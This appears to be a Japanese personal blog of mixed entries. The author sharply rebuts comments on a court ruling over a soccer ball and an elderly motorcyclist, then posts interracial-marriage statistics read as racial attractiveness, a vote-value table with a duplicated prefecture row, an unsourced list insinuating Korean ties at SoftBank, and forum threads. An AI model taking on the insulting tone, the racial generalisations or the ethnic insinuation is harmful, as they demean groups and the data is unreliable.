bbk0524 これはひどい 87歳が街中でバイク乗り回すことの社会的責任は一切問われないのかよ。老人のゴネ得社会だなこの国は。 2011/06/28 67

なんで87歳(86歳だがな)が街中でバイク乗っちゃいけないんだ？

redfox2667 87歳で認知症になったのが子供のせいか？　因果関係が怪し過ぎ。 2011/06/2833 clicks

あとで書こうと思ったが、ここで書いてしまおう。今回の件と関係なく、しゃっきりしてた老人が骨折して歩けなくなった途端に認知症を発症するというのは、かなり頻繁に見られる症例だ。そうすると「認知症になったのは骨折のせい」とは言いうる。そして今回の骨折は少年のせいだから、事実的因果関係は肯定できる。

ただし87歳ともなればもともとボケやすい状態にあったといえる。それゆえ「被害者の素因」によって722条2項の趣旨に照らして損害額を減じたのだろう。記事にそれらしき言及がある。

himomen これ記事だけ見る限り絶対おかしいな、何か報道されない何かが隠れてるんだろうな 2011/06/28

絶対おかしいとまでは言えない。もちろん報道を鵜呑みにしない姿勢は良いのだが、存在しない情報を求めるだけでなく、報道の意味を正しく咀嚼することも必要だ。

benriman 事故, 社会 この記事だけでは、因果関係がおかしい。事故の予測できないだろ。 2011/06/28

いやいや、（ボケ→窒息はともかく）事故ぐらいは予測しろよ。公道にボール出したら事故ぐらい起きるわ。「ゴールに向かって蹴ったボールが外れるわけがない」ってか？日本代表になれよ。

hatomaguro これはひどい 転倒→骨折→入院で認知症進行→誤嚥性肺炎→死亡の流れはよくある話。"学校"側が転倒までの責任を負うなら判るけど。。。 2011/06/28

なぜ加害者をおいて真っ先に学校側になるんだよ。その方がわかんねーよ。

chi-bit これ重いよなぁ。これじゃ外で遊べなくなる可能性があるし、それを言うなら小学校側の責任は？ 2011/06/28

前述のとおり。あるとしても共同不法行為。

okgwa 酷なようだが、87でバイクに乗るリスクを過小評価してた遺族側の過失のほうがよほど大きいと思う。しかしこの判事、事故と認知症との因果関係をよく認めたなあ。司法の常識ではあり得ないという印象。 2011/06/2813 clicks 67

87でバイクに乗ることが「過失」だって？んなわけねーだろ。「司法の常識」とかいうんなら参酌できる「過失」の意味を理解しとけよ。

ERnanchan これって、賠償命令ひどくねえ？ 少なくとも記事の文面だけからみれば。トンデモ判決かどうかの第三者評価が必要そうな第一印象。 2011/06/28137 clicks

賠償「命令」？少なくともお前に「第三者評価」は無理だな。

pwiser これで1500万円はヒド過ぎで加害者は不可抗力、学校で練習中にボールが外に出たってことなんだから払うのもどうかと思うわ。それ以前に87歳でバイク運転してた爺さん側が一番落ち度あるから被害者側屑過ぎて笑えない。 2011/06/28

不可抗力の意味を調べて出なおせ。1500万円「は」ヒド過ぎっていうんなら1万円なら良いんか？それなら不可抗力じゃねーよな？

つか何で「学校で練習中にボールが外に出たってことなんだから払うのもどうかと思う」んだよ。練習無罪ってか？

spoichi 社会, 司法 せめてワクの中に蹴れという司法からのメッセージか。 2011/06/28

ちげーよ。本田だって外しまくってんだろーが。「せめて公道にボール出すな」だ。

suyntory_junnama jiken p なんて判決だ！！　少年の行為より、87歳でバイクに乗って出かける行為の方が問われるべき。何故家族はバイクに乗る事を止めさせなかったのか、何時か他人を巻き込む事故につながると予測しなかったのか。其方の方 2011/06/2810 clicks

何を「問われる」ってんだよ。他人を巻き込む事故？他人に巻き込まれたんだよ真逆じゃねーか。

shukaido170 asahi, education 子「ママ、サッカー行ってくる」母「サッカーなんかして誰かに怪我させたら大変だから、DSやってなさい！」な世の中になるんだね…。 2011/06/2813 clicks

「ボールを道路に出さないように気をつけなさい」でいいだろ。

nippondanji さっぱり理解できない。入院生活が認知症に悪影響を及ぼしたのなら病院を訴えるべきだろ。老人が入院したら認知症になるなら誰も入院出来なくなるだろ。 2011/06/28143 clicks

記事を読め。いつから入院したんだ。

ftype パソコンでニートになったのでパソコン会社を訴える、オンラインゲームで人生失ったので運営を訴える、2chで人生棒に降ったのでひろゆきを訴えることもできるようになりますか？ 2011/06/28 19

ぜんっぜん関係ないじゃん。

BRITAN 極論、校庭から出るのを防げなかった学校の柵が悪いんじゃないの？飛ぶ方向制御なんてプロでないと無理だよｗ 2011/06/2821 clicks

そう思うんならそんな場所でサッカーするなってことだ。学校が悪くて少年は毫も悪くないってか？ばーか。

TakamoriTarou 社会, 事故 訴えるなら子どもじゃ無くてネットを張ってなかった学校側なんじゃないかな。子どもが蹴ると超える事が予想できるような状況なら、学校側がそういう状況を予想できるはずだし回避義務があるような気がする。 2011/06/28

だから学校だけが悪いのかよ？

rakko74 普通に考えれば学校の責任となるはずだが、どうしてこんな判決になるのかよくわからん。 2011/06/28

普通に考えたらボールを蹴った奴の責任。施設管理者はおまけ。

mmsshhrr これはひどい 「蹴り方によっては道路に出ることを予測できた」(　ﾟдﾟ)ﾎﾟｶｰﾝ 2011/06/2814 clicks

お前は予想できないのか？

hi_kmd これがアリなら傷害事件も殺人事件に出来そうな気がするぞ。 2011/06/28

しねーよばーか。民事だし過失だし、何一つ記事と関係ないだろ。

naga_sawa そもそもボールが存在する以上、道路にボールが出る可能性は０にはならない/すなわち、急いで全国の学校・家庭・販売店etcからサッカーボールを撤去しろ！間に合わなくなっても知らんぞー！！ 2011/06/28

いや０になるだろ。

You-me 事故, 司法 これはもし事故の責任を問うなら、損害の公平な分担を求めるなら両親じゃなく施設管理者じゃないかなぁ／老人の歩けなくなるような事故と痴呆の関係は割と認められてたような気がしなくもないけどどーだったろ 2011/06/28

だから施設管理者はせいぜい共同不法行為責任。被告になってないなら不真正連帯債務だから施設管理者なんて出てこない。「損害の公平な分担」「施設管理者」なんて言葉を使ってみても、民法知らないのな。

API 社会, バイク 認知症の老人が普通に死亡しただけちゃうの。 2011/06/28

記事読め。被害者は認知症じゃなかった。

ysync 社会, 裁判, これはひどい どんなに厳しく見たって、骨折の治療費までだろ… 2011/06/28

「どんなに」は空集合。

shinkichi1986 記事まとめ このガキに罪があるわけ無いだろ、しかも当時小学生だぜ？むしろ学校側の不十分な安全対策が原因だな。だいたい運動場ではボールで遊んでる生徒が多いのに学校の囲いの金網って低いんだよなぁ。しかも外は通勤道路。 2011/06/28

お前は自分の子どもに、公道にボール出すなと教えないのか？

10歳ともなれば、ボール遊びについて、責任を弁識する能力は書くとしても、事理を弁識する能力はある。

kaeru333 これはひどい, 裁判 裁判官は世界がどんな感じで見えてんだろ･･･　それにしても、なぜ遺族は少年を訴えたんだろ。 2011/06/2845 clicks

被告は少年じゃなくて両親な。そしてそれは極めて当たり前の話だ。加害者は少年なんだから。

ze-ki news 色々おかしい。だいたいバイクの87歳男性、足骨折しただけなのになんで認知症と結び付けられてるのか分からん。どういうロジックだよ。 2011/06/2864 clicks

お前は認知症をどれだけ知ってるんだ？前述のとおり、骨折から認知症発症はかなりよくあるパターンだ。

weekly_utaran なぜ学校側の施設管理責任ではないのか、そもそもこの年齢でバイクに乗ることによる事故の危険性は？高裁で逆転判決が出て欲しい、そうしないと全国の学校の校庭でサッカー禁止になる 2011/06/28112 clicks

原告が少年の過失責任を問うたから。問われてないことについて裁判所は答えてはいけない。被告でもないのに急に賠償責任負わせられたらおかしいと思うだろ？

W53SA これはひどい 「判決は『蹴り方によっては道路に出ることを予測できた』と指摘」裁判官の常識のなさに危機感を覚える。学校ではなく親を責める遺族側の発想を是認するのもおかしい。 2011/06/2814 clicks

いや、ボール遊びするときは公道にボール出さないように気をつけるのが「常識」だろ。お前の常識のほうが実害付きで危険だよ。

そして学校ではなく親を責めるのが民法の原則。なんで場所貸してただけで、蹴り出した張本人(の代位責任)を負うのか、そっちの方が例外的な考え方だ。

kumakuma1967 わからん, 児童の権利侵害 100%少年に責任がないとこの額は出ない気がするが、ボールから死亡まで予期できる裁判長はニュータイプか？事故は愛媛なのになぜ大阪地裁？田中敦裁判長名でググると信楽事故のトンデモ判決も出てきた。http://goo.gl/AVqzd 2011/06/28

100%じゃなかったって記事に書いてあるだろ。

つーか裁判所の管轄について疑義を呈してる時点でテメーのほうがよっぽどトンデモだよ。管轄は民訴法で細かく定められているが、今回はおそらく不法行為の結果(死亡)発生地だろう。不法行為においてはできるだけ被害者に都合よく管轄を認めるのが民訴法の立場で、その立場はまったくもって正当だ。

as62 民事は、一方の主張に対して他方が否定主張をせずにほっとくと事実認定されてしまうから、単に少年側の法廷戦略が下手すぎなだけなような。常識的に負けるわけねえと弁護士つけてなかったとか、あるんじゃないか？ 2011/06/28

7年もかかってるのに弁論主義で処理ってのは無いだろ。まして本人訴訟なら求釈明する。

toaruR 少年や両親に過失があるなら、爺さんとその家族にもありそうなもんだけど。せめて、学校のせいだろ……地裁にしても酷い 2011/06/28

なんでそこで「せめて、学校のせい」がボール蹴り出した奴より先に来るんだよ。

X-key こういう事故こそ裁判員制度を使えばいいと思うのだが。 2011/06/28

「使えばいい」って、使えねーだろ。まさか民事に裁判員制度導入しろってか？悪夢もいいとこだ。

iwamototuka 裁判, 事故 そこまで小学生（当時）個人に責任持たせるのかよ。うかつに校庭でサッカーもできないな 2011/06/289 clicks

責任の主体は親、な。

nobuharasawa バイクでこけて死んだのかと思ったら、足を折っただけ。それで1500万円はあり得ん　RT@ 2011/06/2810 clicks

「足を折っただけ」なら「1500万円はあり得ん」のに、なんで「足を折っただけ」で「1500万円」の判決が出たと思うんだ？

yukimi1977 これはひどい ボールが原因で死亡事故を起こしたわけじゃないのに。もしそうでも学校の過失で少年じゃない。ぐぐったらこの裁判官、別の判決でも因果関係が？な過失を認めてる。 2011/06/28

少年じゃないって理屈がおかしい。過失がなくってボールが公道に出るかっつーの。そんなんで責任負わされてたら校庭でボール遊び禁止だろ。

Sophitia 「蹴り方によっては道路に出ることを予想できた」のは、ボールを蹴った本人じゃなくて、そんな環境下で蹴ることを許した学校側の責任でしょ。その辺りを取り違ったおバカな判決。絶対控訴すべき！ 2011/06/28

いや、本人だろ。なんで本人が予想できないと思うんだ？

zorio こういうのこそ裁判員制度の対象になって欲しい気がする。 2011/06/2817 clicks

また馬鹿か。

gebonasu30km この理屈で行くと結構な人が東電から賠償金もらえそうだな 2011/06/28

これはその通りで、結構な人が東電から賠償もらえるんだよ。東電のせいで倒産とか自殺とか、ちゃんと賠償請求できるってことをアナウンスしてたらもっと減ってるはず。

daisuk-com *その他, 裁判 どう考えてもこれはひどい。施設管理の学校じゃなくて子供側を訴えたのかわからん。 2011/06/2812 clicks

「どう」は空集合。請求先は子供側が通常。

suzuki_kuzilla 東京電力が原発放置したせいで就職活動が長引き巨額の交通費支払いと長期にわたって授業を受けられないという損害を受けました。って訴訟する？ / asahi.com（朝日新聞社）：サッカーボール避け転倒死亡　蹴った少年の親 2011/06/28

これはちょっと無理筋かも、と思う。

snowdrop386 司法 おかしな判決だ。事故と死因の相当因果関係がなく、さらに学校管理下での行為によるものなのに保護責任を親と安易に決めている点が特におかしい。 2011/06/28

いや、保護責任じゃなくて714だから親なんだろ。子どもの居場所ごとに714の主体が変わるとでも？

Marin_MTB 事故, 裁判, これはひどい これ認めちゃダメでしょう。校外にボールが飛び出さないような校庭をつくるしかないじゃん。 2011/06/2811 clicks

程度問題ではあるが、そういう校庭が普通だろ。ゴールの方向に出口があるわけじゃなければ、出口方向に転がったボールは大して勢いは無く、外に出る前に走って追いつく。

NOV1975 司法 これは検察と弁護側とどっちの質が悪いの？司法と併せて三冠王か？ 2011/06/2868 clicks

ちょwwww 検察てwwww 馬鹿すぎる。

hk2mr_hu 社会 サッカーボールを避け転倒→足を骨折→認知症になる→食べ物を気管につまらせ死亡。これでどうして死亡責任まで問われるかが理解できない。しかも問われるとしたら少年の責任ではなく、学校の管理責任だろう。 2011/06/28

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■黄色人種の男性と、黒人女性が、異人種からもてない傾向にある

2006年アメリカ国内の異人種間結婚

	白人妻	黒人妻	黄人妻
白人夫	50,224,000	117,000	530,000
黒人夫	286,000	3,965,000	34,000
黄人夫	174,000	6,000	2,493,000

　

白人夫×黒人妻：黒人夫×白人妻＝3:7

白人夫×黄人妻：黄人夫×白人妻＝3:1

黒人夫×黄人妻：黄人夫×黒人妻＝6:1

　

白人男の他人種との結婚：白人女の他人種との結婚＝3:2

黒人男の他人種との結婚：黒人女の他人種との結婚＝7:3

黄人男の他人種との結婚：黄人女の他人種との結婚＝1:3

　

人種のるつぼと言われるアメリカ国内では、

黒人男性＞白人男性＞黄色人種男性の順に異人種妻を獲得している。

雑な解釈をすれば、

　

黒人男性は黒人女性と比べ、異人種の異性に2.6倍もてる。

白人男性は白人女性と比べ、異人種の異性に1.4倍もてる。

黄色人種の女性は黄色人種の男性に比べ、異人種の異性に3.1倍もてる。

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■sinyaposは童貞ニートのくせに上から目線part0001

279 ：名無しさん＠ｺﾞｰｺﾞｰｺﾞｰｺﾞｰ！ ：2010/06/10(木) 03:14:06 ID:nzSoBrqd0

これは先生、横から参戦しそうだが。

いやー、あれが演技だったとは思えない。RT @s_hakase: タレントは知っていても、したり顔が一番仕事がきませんよ（笑）。

RT @ishikawajun 若い連中はまだしも年食った連中まで初めて知ったって顔だったのが、ほんとにビックリだよ。

http://twitter.com/ishikawajun/status/15789982854

@ishikawajun 無知な相手には、それを知らせる務めがあります。いしかわさんみたいに相手の無知を嘆くのは、

（物を知ってる）己の優越感しか生みませんよ。今まであなたは自分が優越感に浸る為に知識を仕入れてたとしたら、

僕は悲しいです

http://twitter.com/sinyapos/status/15792503485

なんだか歪んだ考えだね。どこからそんな考えが出てくるんだろう。RT @sinyapos: @ishikawajun 無知な相手には、

それを知らせる務めがあります。いしかわさんみたいに相手の無知を嘆くのは、（物を知ってる）己の優越感しか

生みませんよ。今まであなたは自分が優越感に

http://twitter.com/ishikawajun/statuses/15792735150

285 ：名無しさん＠ｺﾞｰｺﾞｰｺﾞｰｺﾞｰ！ ：2010/06/11(金) 02:15:14 ID:d10iSzaX0

＞＞79

スレチだが、こいつも嫌いだわ

トロ様と同じで自分にしか見えない仮想敵と戦ってる上に

自分も上から目線で物を語ってるという…。

286 ：名無しさん＠ｺﾞｰｺﾞｰｺﾞｰｺﾞｰ！ ：2010/06/11(金) 02:43:20 ID:I2La4zeo0

sinyaposの糞は初め、「織田聡史アフィうめええｗｗｗ」とかなんとかいう（正確には忘れた）、

直球なタイトルのブログやってたんだよね。内容は普通の日記だったように思うけど、まあ初めはアンチ。

それがいつの間にやらブクマ上で星を付けあうような和解ムードになってて、現在はまた仲悪いのかな。

たまにブクマでコメントしているのみかけるけど、トロさんに似た感じの＞＞285的コメントをしておられて目立ってるよね。

どうもトロさんに対しては、好悪入り交じった感情がある方みたいで。

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■一票の価値の世代間格差

一票の価値には格差がある。これに選挙区ごとの年齢別人口比率を掛けあわせることで、各世代が選挙でどの程度の投票価値を有するかを計算することが出来るかもしれない。

例えば、参院選選挙区での青森県民の一票の価値は、それが最も小さい神奈川県の2.14倍であるところ（神奈川県を基準にした一票の価値を「神奈川票」と呼ぶことにする）、青森県の20代は141千人と推計されるから、青森県の20代の神奈川票の合計は、2.14 x 141千 = 302.05千神奈川票と計算される。

こうした計算を全世代、全都道府県について施した上で、各年代の神奈川票の総計を各年代の人口で割れば、各年代の一人当たり平均投票価値が計算できる。

都道府県単位であれば年代別の人数の推計が発表されているので、都道府県を選挙区とする参議院選挙選挙区について、これを計算してみた。

統計局の発表による【都道府県，年齢（5歳階級），男女別人口－総人口(平成21年10月1日現在)】((http://www.e-stat.go.jp/SG1/estat/List.do?lid=000001063433))を基礎データとして使用した。

				20〜29	←	30〜39	←	40〜49	←	50〜59	←	60〜69	←	70〜79	←	80〜	←
	定数	有権者計	神奈川票	有権者数	神奈川票数	有権者数	神奈川票数	有権者数	神奈川票数	有権者数	神奈川票数	有権者数	神奈川票数	有権者数	神奈川票数	有権者数	神奈川票数
北海道	2	4599	1.06	605	641.97	743	788.4	694	736.4	797	845.7	791	839.33	596	632.42	373	395.79
青森県	1	1139	2.14	141	302.05	169	362.04	173	370.61	209	447.73	192	411.31	161	344.9	94	201.37
岩手県	1	1110	2.20	134	294.56	161	353.91	163	358.31	197	433.05	183	402.27	165	362.7	107	235.21
宮城県	2	1908	2.56	289	739.16	325	831.24	289	739.16	331	846.58	295	754.51	231	590.82	148	378.53
秋田県	1	924	2.64	100	264.07	124	327.45	129	340.65	171	451.56	157	414.59	148	390.82	95	250.87
山形県	1	973	2.51	120	300.92	138	346.06	138	346.06	175	438.85	156	391.2	143	358.6	103	258.29
福島県	2	1648	2.96	202	598.16	252	746.21	247	731.41	303	897.23	263	778.79	223	660.34	158	467.86
茨城県	2	2416	2.02	341	688.77	411	830.17	369	745.33	423	854.4	416	840.26	277	559.5	179	361.56
栃木県	1	1633	1.49	219	327.23	286	427.34	253	378.03	292	436.3	273	407.91	187	279.41	123	183.78
群馬県	1	1642	1.49	220	326.92	280	416.08	252	374.47	274	407.16	285	423.51	197	292.74	134	199.12
埼玉県	3	5800	1.26	836	1055.09	1098	1385.75	958	1209.06	932	1176.25	1054	1330.22	623	786.27	299	377.36
千葉県	3	5030	1.46	706	1027.42	933	1357.77	815	1186.04	806	1172.95	911	1325.75	565	822.23	294	427.85
東京都	5	10753	1.13	1612	1828.92	2171	2463.15	1877	2129.58	1530	1735.89	1684	1910.61	1200	1361.48	679	770.37
神奈川県	3	7320	1.00	1060	1060	1449	1449	1293	1293	1095	1095	1218	1218	788	788	417	417
新潟県	2	1968	2.48	248	614.96	299	741.42	285	706.71	341	845.57	327	810.85	271	671.99	197	488.5
富山県	1	910	2.68	108	289.58	151	404.88	131	351.25	145	388.79	167	447.78	121	324.44	87	233.27
石川県	1	948	2.57	129	332.03	162	416.96	140	360.34	152	391.22	168	432.41	114	293.42	83	213.63
福井県	1	651	3.75	78	292.35	106	397.3	98	367.31	110	412.29	110	412.29	86	322.33	63	236.13
山梨県	1	707	3.45	94	324.41	114	393.44	113	389.99	117	403.79	115	396.89	88	303.71	66	227.78
長野県	2	1769	2.76	211	582.07	287	791.72	266	733.79	283	780.69	301	830.34	238	656.55	183	504.83
岐阜県	2	1706	2.86	231	660.77	286	818.1	260	743.73	277	792.36	300	858.15	216	617.87	136	389.03
静岡県	2	3111	1.57	406	636.86	532	834.51	487	763.92	517	810.98	541	848.63	385	603.92	243	381.18
愛知県	3	5967	1.23	909	1115.11	1166	1430.39	992	1216.93	897	1100.39	1008	1236.56	649	796.16	346	424.45
三重県	1	1527	1.60	203	324.37	259	413.86	237	378.7	246	393.08	264	421.85	195	311.59	123	196.54
滋賀県	1	1122	2.17	176	382.75	206	447.99	177	384.92	181	393.62	182	395.79	121	263.14	79	171.8
京都府	2	2145	2.28	321	730.29	376	855.42	320	728.02	319	725.74	384	873.62	260	591.52	165	375.38
大阪府	3	7166	1.02	1008	1029.66	1333	1361.65	1152	1176.76	1058	1080.74	1313	1341.22	863	881.55	439	448.43
兵庫県	2	4546	1.07	614	659.11	796	854.48	719	771.83	719	771.83	806	865.22	557	597.92	335	359.61
奈良県	1	1145	2.13	156	332.44	186	396.37	175	372.93	187	398.5	215	458.17	141	300.47	85	181.14
新潟県	1	827	2.95	99	292.09	123	362.9	122	359.95	137	404.21	150	442.56	116	342.25	80	236.03
鳥取県	1	490	4.98	65	323.67	74	368.49	68	338.61	85	423.27	79	393.39	67	333.63	52	258.94
島根県	1	592	4.12	65	267.91	84	346.22	79	325.61	101	416.28	101	416.28	90	370.95	72	296.76
岡山県	1	1584	1.54	218	335.81	261	402.05	224	345.05	250	385.1	277	426.69	208	320.4	146	224.9
広島県	2	2338	2.09	313	653.31	402	839.08	347	724.28	376	784.81	414	864.12	285	594.87	201	419.54
山口県	1	1208	2.02	144	290.86	180	363.58	162	327.22	202	408.01	225	454.47	174	351.46	121	244.4
徳島県	1	655	3.73	78	290.56	98	365.07	92	342.72	114	424.67	113	420.95	93	346.44	67	249.59
香川県	1	816	2.99	96	287.06	134	400.69	115	343.87	136	406.67	146	436.57	109	325.93	80	239.22
愛媛県	1	1189	2.05	144	295.51	184	377.59	170	348.86	202	414.53	207	424.79	163	334.5	119	244.21
高知県	1	642	3.80	75	285.05	96	364.86	86	326.85	106	402.87	114	433.27	92	349.66	73	277.45
福岡県	2	4106	1.19	626	744	706	839.08	610	724.99	689	818.88	675	802.24	482	572.86	318	377.94
佐賀県	1	685	3.56	94	334.83	103	366.89	99	352.64	123	438.13	109	388.26	90	320.58	67	238.66
長崎県	1	1173	2.08	146	303.7	169	351.54	172	357.78	214	445.15	194	403.55	162	336.98	116	241.3
熊本県	1	1469	1.66	189	313.93	215	357.11	213	353.79	261	433.52	237	393.66	204	338.84	150	249.15
大分県	1	980	2.49	117	291.31	148	368.49	136	338.61	171	425.76	171	425.76	139	346.08	98	244
宮崎県	1	922	2.65	117	309.63	134	354.62	130	344.03	169	447.25	153	404.9	130	344.03	89	235.53
鹿児島県	1	1385	1.76	168	295.97	196	345.3	199	350.58	255	449.24	219	385.82	200	352.35	148	260.74
沖縄県	1	1058	2.31	179	412.82	199	458.94	177	408.2	193	445.1	131	302.12	110	253.69	69	159.13
合計	73	104402	1.71	14410	24090.03	18305	30275.53	16403	27398.9	16868	29301.67	17794	30297.42	12723	22302.31	7899	14454.14

以上の計算により、世代間の一票の格差は次のようになる。

	20〜29	30〜39	40〜49	50〜59	60〜69	70〜79	80〜
一人当たり神奈川票	1.672	1.654	1.670	1.737	1.703	1.753	1.830
一人当たり選当力差(30代比)	+1.08%	±0.00%	+0.99%	+5.03%	+2.95%	+5.98%	+10.64%
世代選当力(人口)	13.80%	17.53%	15.71%	16.16%	17.04%	12.19%	7.57%
世代選当力(神奈川票)	13.49%	16.96%	15.35%	16.41%	16.97%	12.49%	8.10%
世代選当力補正率	-2.24%	-3.28%	-2.32%	1.59%	-0.43%	2.51%	7.01%

もっとも、各個人の個別的権利である選挙権について、階級ごとの平均投票価値を観念することが正当なのか、また仮にそれが正当だとしてもその階級として年令という区分は論ずるに足るものであるのか等々、本稿で行った算数の価値については疑問のありうるところである。

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■

やわらか銀行と朝鮮の関わり

ttp://chiraurasouko.blogspot.com/2010/03/blog-post_8729.html

ソフトバンクグループ　2009年度新卒採用　営業・企画職／エンジニア職　1230名

経営基幹職　42名

　営業・企画系　30名

　　朝鮮大学校　9名　東京大学　6名　ソウル大学校　3名　京都大学　九州大学　高麗大学校　延世大学校　2名

　　一橋大学　慶応義塾大学　東北大学　梨花女子大学校　1名

　エンジニア系　12名

　　朝鮮大学校　3名　東京大学　ソウル大学校　2名　東京工業大学　九州大学　九州工業大学　高麗大学校　浦項工科大学校　1名

総合職　1188名

　営業・企画系　783名

　　日本大学　39名　東海大学　20名　近畿大学　18名　法政大学　17名　明治大学　東京経済大学　15名　関西大学　大阪経済大学　愛知大学　専修大学　12名

　　早稲田大学　立命館大学　広島修道大学　東北学院大学　東洋大学　9名　同志社大学　青山学院大学　南山大学　福岡大学　京都産業大学　龍谷大学　札幌学院大学　7名

　　他198校517名

　エンジニア系　505名

　　日本大学　20名　芝浦工業大学　18名　東海大学　17名　工学院大学　16名　近畿大学　大阪工業大学　15名　法政大学　武蔵工業大学　東京電機大学　福岡大学　12名

　　東京理科大学　千葉工業大学　愛知工業大学　10名　中央大学　東洋大学　摂南大学　広島工業大学　金沢工業大学　8名

　　他78校286名

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■

永井豪「俺のハレンチ学園出せなくなっちゃうYO！」　東京都「ハレンチ学園はOKにする」

ttp://alfalfalfa.com/archives/389396.html

286 磁石(北海道) :2010/03/19(金) 01:42:29.89 ID:iqXSVNOw

どっからどこまで規制されるのか全然分からん

289 真空ポンプ(宮城県) :2010/03/19(金) 01:47:12.02 ID:Edz3n8RZ

»286

知名度が高い作品→セーフ

知名度が低い作品→アウト

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■(ちゃんとした)けいおん！二期主題歌アジカン疑惑2chスレまとめ

◆けいおん！本スレ (紅茶741杯目)

158 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 22:30:19 ID:hIDdtbw8

２期アニメのＯＰ・ＥＤはきちんと(もちろん気合入った)完全新曲になりますように・・・

既存曲のアレンジバージョンとか

メンバー５人全員による合唱バージョン(結果、ちょっとゆったりした感じに)

とかになりませんように

162 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 22:35:11 ID:mRQ5hBBH

≫158

2期も唯澪がいいな

188 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 23:01:23 ID:T82IXSxj

こんな言い方するとアレかもしれんが

1期は唯ボーカルのOP、澪ボーカルのEDで売れてるんだし

ポニキャとかもそれを無視したりなんてしないだろう

193 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 23:04:49 ID:MIstnL9G

2期の主題歌は、ASIAN KUNG-FU GENERATIONが担当するらしい

ソースは、現在放送中のTOKYO FM "SCHOOL OF LOCK!"パーソナリティの発言

アジカンは以前この番組に出演していたので、信憑性はそこそこ高いと思う

194 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 23:06:48 ID:ygi6wueH

やったああ

アジカンだあああ

195 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 23:06:52 ID:KD8JH/PU

≫193

お、早いな

俺も聞いてて焦ってきた

196 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 23:06:59 ID:72UKqSfG

風説の流布でタイーホ

204 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 23:12:15 ID:H0Wqbwhx

けいおん！に男ボーカル曲の親和性の低さは異常

207 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 23:13:36 ID:Q0nf6zCu

音楽モノでタイアップ付けるって発想がまず出てこない

212 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 23:18:40 ID:MzzVRoAZ

ポニキャが欲を出したのか？

勘弁してくれよマジで…

213 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 23:19:27 ID:J/0a+eaJ

アジカンってもと関学院大の軽音部だろ。

HTTは高校の軽音部だから却下だわｗ

216 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 23:21:34 ID:AjxTR6hD

もし次のライブがあってもそんなよく分からない人が歌ったOPEDだったら行かないな

217 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 23:21:36 ID:AOu4tdlg

いやいやありえないだろアジカンがどうとかじゃなくて

HTT以外の曲とか１２０００％無いだろ

219 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 23:23:28 ID:WNf4yD/w

鯵缶とかｗ

釣るならもうちょっと引っかかりそうな餌にしろよｗ

221 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 23:26:18 ID:MzzVRoAZ

うむ、とりあえず落ち着こう…

所属レーベル的にはどうなん？

234 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 23:36:42 ID:0YyFxni1

≫221

アジカンのことを言っているのであれば、ソニー系列のキューン所属。

過去にアニプレックスの作品でアニメタイアップあり。

235 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 23:38:29 ID:MzzVRoAZ

≫234

どもども。

ポニキャがけいおん手放すとも思えないし。勘違いぽいね。

238 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 23:40:17 ID:0YyFxni1

≫235

まぁ、ありえないよねw

双方のファンが喜ばない文字通りの誰得タイアップになるだろうし。

239 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 23:40:57 ID:hIDdtbw8

≫238

つい最近、双方のファンが喜ばない誰得タイアップだった

「イエ～イ！」ってのがありましてね・・・

230 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 23:33:28 ID:T82IXSxj

他アーティストなんて使ったら主題歌CD売り上げガタ落ちしそう

232 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 23:34:52 ID:MzzVRoAZ

ラジオ実況見てきた。ＪＦＮスレ

　　　352 名前：名無しさん＠ON AIR[sage] 投稿日：2010/02/18(木) 22:41:20.78 ID:KqTDD9au

　　　けいおん推しかよ

　　　353 名前：名無しさん＠ON AIR[] 投稿日：2010/02/18(木) 22:43:46.31 ID:ZNVFLvLs

　　　さっき主題歌アジカンって言った？＜けいおん！！

パーソリティの発言自体は有ったみたいだけど…

おそらく↓の勘違いだと思われ

http://oops-music.com/info/view_news.html?nid=53952

人騒がせなw つか、パーソナリティもけいおんファンなのかな？と思ったらまあ許せるかw

236 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 23:38:41 ID:ygi6wueH

アジカンは好きだがアニメに絡む必要はないと思うよ

やっぱOPはハスキー☆ゆい以外考えられんよ！

242 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 23:45:29 ID:tj+zGbAy

アジカンとかを使うなら、野外フェスの回で少し出るとかだろ

244 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 23:47:37 ID:d3t6M/QK

懐かしくなってSOLの掲示板見てきたが

OPの話ちょっとマジっぽいな。

アジカンもけいおん!も好きだが

ちょっと複雑だ。。。

251 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 23:53:54 ID:H9gog4u8

OPアジカンかよ、まじ最悪だわ

オープニングスルー決定

なんで声優に歌わせないの？

そして夏フェスもやるなら大トリはサザンかミスチルにするべき

せめてエレカシレベルのマトモなのにしてくれ････

バンプとかガキすぎんだよ････

255 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 23:55:58 ID:saLRzhqC

こりゃ二期病発症しそうな雰囲気だな

256 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 23:56:21 ID:of2hj0OM

これで2期のOP、EDがHTT以外になったら、フィギュアとかキャンセルする奴続出なんだろうなｗ

258 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 23:57:16 ID:hIDdtbw8

≫256

何か、その時点で１期ＢＤを叩き割って京アニorＴＢＳorポニーキャニオンに送り付ける人間が増えるんじゃ・・・

259 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 23:57:36 ID:KD8JH/PU

http://closeup-nettube.livedoor.biz/archives/2622534.html

これと間違えて、さらっと発言しちまったんと違う？

京都アニメーションとかＴＢＳあたりがアーティスト起用するとか

かなり考えられないし。

260 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 23:57:38 ID:2lpdlQQe

